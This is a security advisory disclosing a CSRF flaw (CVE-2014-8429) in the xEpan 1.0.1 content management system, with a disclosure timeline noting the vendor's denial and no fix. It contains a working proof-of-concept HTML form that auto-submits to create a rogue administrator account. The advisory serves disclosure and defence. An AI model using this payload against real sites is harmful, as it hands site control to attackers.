xEpan 1.0.1 - Cross-Site Request Forgery

Advisory ID: HTB23240
Product: xEpan
Vendor: Xavoc Technocrats Pvt. Ltd.
Vulnerable Version(s): 1.0.1 and probably prior
Tested Version: 1.0.1
Advisory Publication:  October 22, 2014  [without technical details]
Vendor Notification: October 22, 2014 
Public Disclosure: November 26, 2014 
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
CVE Reference: CVE-2014-8429
Risk Level: Medium 
CVSSv2 Base Score: 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status: Not Fixed
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in xEpan, which can be exploited to compromise vulnerable web site.


1) Сross-Site Request Forgery (CSRF) in xEpan: CVE-2014-8429

The vulnerability exists due to insufficient validation of the HTTP request origin when creating new user accounts. A remote unauthenticated attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit, create new account with administrative privileges and get total control over the vulnerable website.  

A simple CSRF exploit below creates an administrative account with username "immuniweb" and password "password":


<form action="http://[host]/?page=owner/users&web_owner_users_crud_virtualpage=add&submit=web_web_owner_users_crud_virtualpage_form" method="post" name="main">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_name" value="name">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_email" value="[email protected]">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_username" value="immuniweb">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_password" value="password">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_created_at" value="21/10/2014">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_type" value="100">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_is_active" value="1">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_activation_code" value="">
<input type="hidden" name="web_web_owner_users_crud_virtualpage_form_last_login_date" value="">
<input type="hidden" name="ajax_submit" value="form_submit">
<input type="submit" id="btn">
</form>

<script>
document.main.submit();
</script>


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Solution:

Currently we are not aware of any official solution for this vulnerability.

<b>Disclosure timeline:</b>
2014-10-22 Vendor notified via several emails.
2014-10-22 Vendor denies vulnerability.
2014-11-06 Vulnerability is confirmed in the latest version of xEpan 1.0.4 which was released on the 2nd of November (we initially suspected a "silent fix"). 
2014-11-06 Vulnerability confirmed in 1.0.4 as well. Vendor notified about the problem once again.
2014-11-10 Fix requested via several emails.
2014-11-17 Fix requested via several emails.
2014-11-24 Fix requested via several emails.
2014-11-24 Vulnerability still exist in latest version 1.0.4.1 which was released at November, 20.
2014-11-26 Public disclosure.


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References:

[1] High-Tech Bridge Advisory HTB23240 - https://www.htbridge.com/advisory/HTB23240 - Сross-Site Request Forgery (CSRF) in xEpan.
[2] xEpan - http://www.xepan.org/ - xEpan is a an open source content management system (CMS) with Drag & Drop, bootstrap and live text editing.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.